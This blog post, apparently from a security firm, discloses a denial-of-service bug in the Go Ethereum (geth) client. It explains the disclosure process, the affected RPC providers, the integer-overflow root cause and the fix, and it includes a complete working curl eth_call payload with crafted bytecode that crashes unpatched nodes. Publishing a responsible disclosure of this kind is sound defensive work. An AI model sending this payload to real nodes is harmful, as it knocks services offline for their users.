Blog Post
Geth Out-of-Order EIP Application Denial-of-Service
April 3, 2024
# Introduction
On the 15th of February 2024 iosiro reported a vulnerability, identified by security researcher [Jason Matthyser](https://twitter.com/pleasew8t), to the Ethereum Foundation that affected the Go Ethereum (geth) client from post-merge to [Edolus (v1.13.12)](https://github.com/ethereum/go-ethereum/releases/tag/v1.13.12).
The bug could reliably crash geth nodes configured for Ethereum Mainnet with a payload sent through `eth_call` at zero cost. At the time of disclosure, the issue affected the majority of Ethereum Mainnet RPC providers, including Infura, Alchemy, QuickNode, Ankr, and Flashbots.
# Disclosure Process
The vulnerability was initially disclosed to the Ethereum Foundation, but they determined the issue to be out of scope of their bug bounty program. They indicated that they would, however, forward the information on to the geth development team to address the issue.
The Ethereum Foundation explicitly excludes issues triggered through RPC from execution bugs in their [bug bounty program](https://ethereum.org/en/bug-bounty/#:~:text=Only%20the%20targets%20listed%20under%20in,scope%20of%20the%20bug%20bounty%20program.), as it is said to be privileged functionality. Despite this distinction, exploitation of the vulnerability could have had a significant impact on end-users, as the vast majority of users interact with Ethereum through public RPC providers.
Given the potential impact, we contacted the SEAL 911 team to coordinate disclosure with the affected parties. The SEAL 911 team members, in particular [pcaversaccio](https://twitter.com/pcaversaccio) and [samczsun](https://twitter.com/samczsun), quickly responded and helped to re-escalate the issue with the Ethereum Foundation. This additional input encouraged the Ethereum Foundation to proactively contact providers to notify them to upgrade to geth v1.13.13.
# Impact
To reiterate, the effect of exploitation was that remote Ethereum mainnet geth clients could be crashed if they had an exposed RPC.
In terms of the scope of affected parties, we were able to non-invasively check for vulnerable client types and version through `web3_clientVersion`. For example:
```jsx
curl -vk https://mainnet.infura.io/v3/<API-KEY> -H "Content-Type: application/json" -X POST --data '{"jsonrpc":"2.0","method":"web3_clientVersion","params":[],"id":67}'
...
{"jsonrpc":"2.0","id":67,"result":"Geth/v1.13.12-omnibus-e0f86448/linux-amd64/go1.21.6"}
```
After an initial assessment, we determined that the following notable providers were running vulnerable versions of geth.
| | | | |
| --- | --- | --- | --- |
| Infura | Ankr | DRPC | Tenderly (internal simulations) |
| QuickNode | Flashbots | RPCFast | PublicNode |
| Alchemy | 1RPC | Bloxroute | |
| MeowRPC | GasHawk | | |
Furthermore, Flashbots’ [Suave Execution Client](https://github.com/flashbots/suave-execution-geth), a fork of geth, was also found to be vulnerable. After contacting Flashbots, they graciously offered a $1,000 bug bounty for notifying them of the incident.
In addition to known public providers, more than 550 hosts were identified through Shodan to be running publicly exposed vulnerable Mainnet geth nodes.
As the exploit could be triggered remotely and at zero-cost, if RPC providers were not notified ahead of time, the exploit could have been used to deny service to a significant portion of the Ethereum Mainnet user base for an extended period of time. For this reason, we opted to re-escalate the issue through SEAL 911 to mitigate the chances of this happening.
An exacerbating factor was that the issue was non-trivial to prevent for RPC providers without a patched geth upgrade. The exploit could be triggered through a variety of payloads, so it would be difficult to filter for specific incoming requests. It would have been necessary to either block `eth_call` entirely, which would have been highly impractical, or attempt to filter RPC requests containing block overrides, which would have required detailed knowledge of how the attack worked.
# Vulnerability Background
At a high level, the issue stemmed from the ability to apply EIPs out-of-order during an `eth_call` json-rpc call.
When a new EVM is created in [NewEvm(...)](https://github.com/ethereum/go-ethereum/blob/8321fe2fda0b44d6df3750bcee28b8627525173b/core/vm/evm.go#L128) two important operations are performed:
- The call to `chainConfig.Rules(blockCtx.BlockNumber, blockCtx.Random != nil, blockCtx.Time)`, which sets the chain rules for the new EVM instance.
- The call to `NewEVMInterpreter(evm)`, which creates a new interpreter based on the ruleset of the EVM instance.
Together, these operations are used to select the execution and gas calculator implementations for EVM opcodes. For example, the activation of EIP-2929 instructs the EVM to use a different function for calculating the gas requirements of the `CALL` family of opcodes. The chain rules further define the behaviour of the implementations; for example, `EIP150` enables or disables the 1/64th gas reduction during the `CALL` opcode's gas calculation.
EIPs are typically applied based on the block number in the block context passed to `NewEvm()`(see [Rules(...)](https://github.com/ethereum/go-ethereum/blob/8321fe2fda0b44d6df3750bcee28b8627525173b/params/config.go#L908)). For example, if the block context’s block number is equal to or higher than 12 965 000, any EIPs relevant to London, as well as past EIPs, will be applied to the newly created EVM instance.
However, the merge upgrade can be enabled regardless of the block number passed to `Rules()` while older EIPs can remain disabled. The excerpt below illustrates this.
<pre class="language-golang">
<code>
func NewEVM(blockCtx BlockContext, txCtx TxContext, statedb StateDB, chainConfig *params.ChainConfig, config Config) *EVM {
// ...
evm := &EVM{
Context: blockCtx,
TxContext: txCtx,
StateDB: statedb,
Config: config,
chainConfig: chainConfig,
chainRules: chainConfig.Rules(blockCtx.BlockNumber, blockCtx.Random != nil /*[1]*/, /**/),
}
// ...
}
func (c *ChainConfig) Rules(num *big.Int, isMerge bool, timestamp uint64) Rules {
// ...
return Rules{
// ...
IsEIP150: c.IsEIP150(num), // [2]
// ...
IsBerlin: c.IsBerlin(num),
IsLondon: c.IsLondon(num),
IsMerge: isMerge, // [3]
IsShanghai: c.IsShanghai(num, timestamp),
IsCancun: c.IsCancun(num, timestamp),
// ..
}
}
</code>
</pre>
- `[1]` The second argument passed to `Rules()` specifies whether the `blockCtx` contains the `Random` address.
- `[2]` Among other EIPs, `EIP150`'s activation status is determined by the block number passed to `Rules()`.
- `[3]` The `isMerge` flag will be set if `bockCtx.Random` address is specified.
The merge upgrade can therefore be enabled regardless of older chain rules being disabled, such as `EIP150`. This issue can be exploited by activating the `EIP2929` instructions while disabling `EIP150` through block overrides during an `eth_call` json-rpc call, which allows triggering a codepath that results in an `out of memory` condition, crashing the geth node entirely.
# Exploitation
`EIP2929` introduces the [makeCallVariantGasCallEIP2929(...)](https://github.com/ethereum/go-ethereum/blob/8321fe2fda0b44d6df3750bcee28b8627525173b/core/vm/operations_acl.go#L160) wrapper function for `CALL`-related opcode gas calculations. The function is abbreviated below.
<pre class="language-golang">
<code>
func makeCallVariantGasCallEIP2929(oldCalculator gasFunc) gasFunc {
return func(evm *EVM, contract *Contract, stack *Stack, mem *Memory, memorySize uint64) (uint64, error) {
// ...
gas, err := oldCalculator(evm, contract, stack, mem, memorySize) // [1]
if warmAccess || err != nil { // [2]
return gas, err
}
// ...
contract.Gas += coldCost
return gas + coldCost, nil // [3]
}
}
</code>
</pre>
- `[1]` The `oldCalculator` is called to calculate the cost of the `CALL`'s execution, which includes the cost of memory, value transferral, account creation, etc. For the `CALL` opcode, this calculator is defined as [gasCall(...)](https://github.com/ethereum/go-ethereum/blob/8321fe2fda0b44d6df3750bcee28b8627525173b/core/vm/gas_table.go#L366).
- `[2]` If there was an error in the gas calculations, or if the account access is warm, the function returns with the gas cost and potential error.
- `[3]` This code is reached if the called address is cold, and adds the `coldCost` (`2500`) to the returned gas.
The value returned from this function (`gas + coldCost`) is then used to deduct gas from the caller, and will then allocate the desired memory for the function call. However, if `oldCalculator()` were to return a sufficiently large value, the `uint64` calculation of `gas + coldCost` could overflow, and a `CALL` instruction could be severely undercharged. `gasCall(...)`, the `oldCalculator` function for the `CALL` opcode, and `callGas()`, are abbreviated below.
<pre class="language-golang">
<code>
// <https://github.com/ethereum/go-ethereum/blob/8321fe2fda0b44d6df3750bcee28b8627525173b/core/vm/gas_table.go#L366>
func gasCall(evm *EVM, contract *Contract, stack *Stack, mem *Memory, memorySize uint64) (uint64, error) {
var (
gas uint64
transfersValue = !stack.Back(2).IsZero()
address = common.Address(stack.Back(1).Bytes20())
)
// ...
memoryGas, err := memoryGasCost(mem, memorySize) // [1]
if err != nil {
return 0, err
}
var overflow bool
if gas, overflow = math.SafeAdd(gas, memoryGas); overflow {
return 0, ErrGasUintOverflow
}
evm.callGasTemp, err = callGas(evm.chainRules.IsEIP150, contract.Gas, gas, stack.Back(0)) // [2]
if err != nil {
return 0, err
}
if gas, overflow = math.SafeAdd(gas, evm.callGasTemp); overflow { // [3]
return 0, ErrGasUintOverflow
}
return gas, nil
}
// <https://github.com/ethereum/go-ethereum/blob/8321fe2fda0b44d6df3750bcee28b8627525173b/core/vm/gas.go#L37>
func callGas(isEip150 bool, availableGas, base uint64, callCost *uint256.Int) (uint64, error) {
if isEip150 { // [4]
// ..
}
if !callCost.IsUint64() {
return 0, ErrGasUintOverflow
}
return callCost.Uint64(), nil // [5]
}
</code>
</pre>
- `[1]` Calculate the cost of allocating `memorySize` amount of memory. The maximum amount that can be specified is `0x1fffffffe0`, which equates to approximately 128GB.
- `[2]` Call [callGas(...)](https://github.com/ethereum/go-ethereum/blob/8321fe2fda0b44d6df3750bcee28b8627525173b/core/vm/gas.go#L37), which either applies `EIP150` or directly returns the gas supplied on the stack (`stack.Back(0)`)
- `[3]` The gas returned from this function is the sum of the memory cost (assuming other charges to be zero) and the gas returned from `callGas()`.
- `[4]` This block implements `EIP150`, which applies the 1/64th gas reduction to what is available in the contract minus what is required, and then returns the minimum of that value and the value passed on the stack (`callCost`).
- `[5]` If `EIP150` was disabled, this function would simply return the gas value passed via the stack for the `CALL` operation.
As a result, a carefully selected gas value passed to the `CALL` operation via the stack, along with a request to allocate the maximum amount of memory, could lead to an overflow in the final return value of `makeCallVariantGasCallEIP2929()` that would undercharge the `CALL` operation sufficiently to allocate the maximum amount of memory (128GB). Such values are provided in the Proof of Concept of this report.
The [dynamic gas calculation](https://github.com/ethereum/go-ethereum/blob/8321fe2fda0b44d6df3750bcee28b8627525173b/core/vm/interpreter.go#L212-L216) and subsequent [memory allocation](https://github.com/ethereum/go-ethereum/blob/8321fe2fda0b44d6df3750bcee28b8627525173b/core/vm/interpreter.go#L222-L224) are performed in the [EVM interpreter loop](https://github.com/ethereum/go-ethereum/blob/8321fe2fda0b44d6df3750bcee28b8627525173b/core/vm/interpreter.go#L107).
# Proof of Concept
1. Download and build a vulnerable version of geth. This can either be [Edolus (v1.13.12)](https://github.com/ethereum/go-ethereum/releases/tag/v1.13.12) or cloning the repository and checking out [this](https://github.com/ethereum/go-ethereum/tree/8321fe2fda0b44d6df3750bcee28b8627525173b) commit.
2. Prepare state database and start geth.
<pre class="language-bash">
<code>
./build/bin/geth init cmd/devp2p/internal/ethtest/testdata/genesis.json
./build/bin/geth import cmd/devp2p/internal/ethtest/testdata/chain.rlp
./build/bin/geth --http --http.api eth,web3,net --nodiscover
</code>
</pre>
1. From a separate window, launch attack using `curl`. This will perform a block override which sets the block number to `0x5`, one block before `EIP150`'s activation (disabling `EIP150`), and set `random`, thereby enabling `isMerge` and therefore the `EIP2929` instruction set.
<pre class="language-bash">
<code>
curl http://127.0.0.1:8545/ \\
-X POST \\
-H "Content-Type: application/json" \\
--data '
{
"method":"eth_call",
"params":[
{
"from": "0x000000000000000000000000000000000000dead",
"to": "0x000000000000000000000000000000000000beef",
"data": "0x4510a377",
"gas": "0x1000000"
},
{
"blockNumber":"latest"
},
{
"0x000000000000000000000000000000000000dead": {
"balance": "0xc097ce7bc90715b34b9f1000000000"
},
"0x000000000000000000000000000000000000beef": {
"code":"0x60006000670000001fffffffe060006000738a700907005c5c3b442322ABFB6BEc88772eBd1267ff7ffffd00ff9e59f1"
}
},
{
"number": "0x5",
"random": "0x0000000000000000000000000000000000000000000000000000000000000000"
}
],
"id":1,
"jsonrpc":"2.0"
}'
</code>
</pre>
The state override in the above request sets the contract code at `0xbeef` to:
<pre class="language-nasm">
<code>
PUSH1 0x00 // return size
PUSH1 0x00 // return offset
PUSH8 0x0000001fffffffe0 // input size (max memory value)
PUSH1 0x00 // input offset
PUSH1 0x00 // call value
PUSH20 0x8a700907005c5c3b442322ABFB6BEc88772eBd12 // call target
PUSH8 0xff7ffffd00ff9e59 // call gas
CALL
</code>
</pre>
The value for `gas` was selected such that the result of `gas + memoryGasCost` does not overflow, but `gas + memoryGasCost + coldCost` does. The screenshot below shows the result of running the exploit against a vulnerable version of geth on an Ubuntu machine.
**TL;DR** if it doesn’t work the first time, try running it a few more times :P During testing, different results were observed between Ubuntu and MacOS. On Ubuntu machines, geth would instantly crash as a result of going out of memory. However, on MacOS targets geth would first report an RPC handler crash, but after a second run of the exploit successfully crash the process.
# Remediation
The issue was addressed in [PR-29023](https://github.com/ethereum/go-ethereum/pull/29023), which was shipped with [Alsages (v1.13.13)](https://github.com/ethereum/go-ethereum/releases/tag/v1.13.13). The fix addresses the possible integer overflow in `makeCallVariantGasCallEIP2929()` by using `math.SafeAdd()`, and only triggers the activation of the Merge upgrade if the `blocknumber` activates the London upgrade and the `RANDOM` address is present.
# Conclusion
We want to thank the SEAL 911 team for their assistance with coordinating with the Ethereum Foundation.
We’d also like to thank Flashbots team for taking incident seriously and being the only parties involved to award a bounty for our efforts.
If you found this interesting, check out our blog post on a similar bug we disclosed, [Nethermind ModExp Out of Memory Consensus Issue](https://iosiro.com/blog/nethermind-modexp-out-of-memory-consensus-issue).
